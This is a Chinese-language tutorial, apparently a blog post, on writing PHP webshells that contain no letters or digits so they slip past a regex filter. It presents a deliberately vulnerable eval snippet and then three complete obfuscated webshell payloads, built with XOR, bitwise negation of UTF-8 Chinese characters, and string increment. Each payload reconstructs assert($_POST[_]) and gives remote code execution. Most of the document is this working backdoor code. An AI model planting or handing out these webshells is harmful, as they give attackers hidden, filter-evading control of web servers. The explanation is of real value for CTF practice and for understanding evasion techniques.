无数字和字母的webshell

先看一下这个例子

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

这算是一个极限利用了,要求我们不用数字和字母构造webshell

这样的问题我们可以类比于各类变形的一句话木马,用异或的方式得到一个新的字符,这时我们就可以用非数字和字母的字符串将数字或者字母异或出来

异或

例如这个

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

部分数字是由于URL编码的原因,实际上是不包含数字的

取反运算

还有一种方法我们可以使用~取反运算

例如这个

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[_]);// assert($_POST[_]);

原理就是用UTF-8编码的汉字,将其中的某个字符取出,然后取反,就可以得到想要的字母

自增运算

例如这个

<?php
@$_=[].'';
@$___=$_[''];
$_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;
$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;
$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;
@$___($_[_]);// assert($_POST[_]);
?>

我们可以拿到一个为a的变量,通过自增操作,即可获得a-z的任意一个字符,’a’++ => ‘b’,’b’++ => ‘c’,’c’++ => ‘d’

而在PHP中,数组和字符串若强制连接的话,数组也就会转换成字符串,即array

所以我们取字符串的第一个字母就可以得到a了